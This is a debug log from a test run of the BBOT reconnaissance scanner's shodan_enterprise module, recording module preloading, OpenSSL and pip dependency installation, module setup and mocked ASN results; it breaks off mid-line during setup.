[DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:38:00,609 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:38:00,609 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:38:00,709 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:38:00,710 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:38:00,729 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:38:00,730 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:38:00,730 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:38:00,743 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:38:00,744 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:38:00,745 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:38:00,746 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:38:00,747 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:38:00,748 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:38:00,865 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_hq8crft5py completed in 0 seconds with status FINISHED +2026-03-01 16:38:00,865 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:38:00,866 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:38:00,867 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events +2026-03-01 16:38:00,867 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 16:38:00,868 [CRITICAL] bbot test_module_shodan_enterprise.py:72 Found 0 TECHNOLOGY events +2026-03-01 16:38:00,868 [HUGEINFO] bbot test_module_shodan_enterprise.py:75 Technologies: [] +2026-03-01 16:39:26,267 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:39:26,279 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:39:26,280 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:39:26,281 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:39:26,282 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:39:26,283 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:39:26,284 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:39:26,285 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:39:26,286 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:39:26,287 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:39:26,288 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:39:26,288 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:39:26,289 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:39:26,290 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:39:26,291 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:39:26,292 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:39:26,293 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:39:26,293 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:39:26,294 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:39:26,295 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:39:26,296 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:39:26,297 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:39:26,298 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:39:26,299 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:39:26,300 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:39:26,300 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:39:26,301 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:39:26,301 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:39:26,302 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:39:26,303 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:39:26,304 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:39:26,305 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:39:26,306 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:39:26,306 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:39:26,307 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:39:26,308 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:39:26,308 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:39:26,309 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:39:26,309 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:39:26,310 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:39:26,310 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:39:26,311 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:39:26,315 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:39:26,316 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:39:26,317 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:39:26,317 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:39:26,318 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:39:26,319 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:39:26,319 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:39:26,320 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:39:26,321 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:39:26,322 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:39:26,322 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:39:26,323 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:39:26,324 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:39:26,325 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:39:26,325 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:39:26,326 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:39:26,326 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:39:26,327 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:39:26,328 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:39:26,329 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:39:26,329 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:39:26,330 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:39:26,331 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:39:26,331 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:39:26,332 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:39:26,332 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:39:26,338 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:39:26,338 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:39:26,339 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:39:26,340 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:39:26,341 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:39:26,342 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:39:26,343 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:39:26,343 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:39:26,344 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:39:26,345 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:39:26,346 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:39:26,347 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:39:26,347 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:39:26,348 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:39:26,349 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:39:26,349 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:39:26,350 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:39:26,351 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:39:26,351 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:39:26,352 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:39:26,352 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:39:26,353 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:39:26,353 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:39:26,354 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:39:26,355 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:39:26,355 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:39:26,356 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:39:26,357 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:39:26,358 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:39:26,358 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:39:26,359 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:39:26,359 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:39:26,360 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:39:26,361 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:39:26,361 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:39:26,362 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:39:26,362 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:39:26,363 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:39:26,363 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:39:26,364 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:39:26,365 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:39:26,365 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:39:26,366 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:39:26,366 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:39:26,367 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:39:26,367 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:39:26,368 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:39:26,368 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:39:26,369 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:39:26,370 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:39:26,370 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:39:26,371 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:39:26,371 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:39:26,372 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:39:26,373 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:39:26,373 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:39:26,374 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:39:26,375 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:39:26,375 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:39:26,376 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:39:26,376 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:39:26,377 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:39:26,378 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:39:26,379 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:39:26,379 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:39:26,380 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:39:26,380 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:39:26,381 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:39:26,381 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:39:26,382 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:39:26,383 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:39:26,383 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:39:26,384 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:39:26,385 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:39:26,385 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:39:26,386 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:39:26,386 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:39:26,387 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:39:26,387 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:39:26,388 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:39:26,389 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:39:26,389 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:39:26,391 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:39:26,391 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:39:26,393 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:39:26,393 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:39:26,397 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:39:26,397 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:39:26,399 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:39:26,400 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:39:26,402 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:39:26,402 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:39:26,404 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:39:26,405 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:39:26,406 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:39:26,406 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:39:26,407 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:39:26,408 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:39:26,408 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:39:26,409 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:39:26,410 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:39:26,411 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:39:27,690 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:39:27,690 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:39:27,691 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:39:27,830 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:39:28,444 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:39:28,444 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:39:28,445 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:39:28,445 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:39:28,655 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:39:28,656 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:39:28,765 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:39:28,766 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:39:28,821 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:39:28,824 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:39:28,824 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:39:29,273 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:39:29,274 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:39:32,676 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:39:32,677 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:39:32,677 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:39:34,538 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:39:34,539 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:39:34,544 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:39:34,544 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:39:34,544 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:39:34,545 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:39:34,549 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/7dc5blb1ift704qtyun3 +2026-03-01 16:39:35,307 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:39:35,307 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:39:35,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:39:35,309 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:39:35,310 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:39:35,431 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:39:35,431 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:39:35,432 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:39:35,433 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:39:35,434 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:39:35,434 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:39:35,434 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:39:35,435 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:39:35,435 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:39:35,435 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:39:35,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:39:35,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:39:35,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:39:35,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:39:35,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:39:35,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:39:35,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:39:35,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:39:35,437 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:39:35,437 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:39:35,438 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:39:35,438 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:39:35,438 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:39:35,438 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:39:35,438 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:39:35,439 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:39:35,439 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:39:35,439 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:39:35,439 [DEBUG] 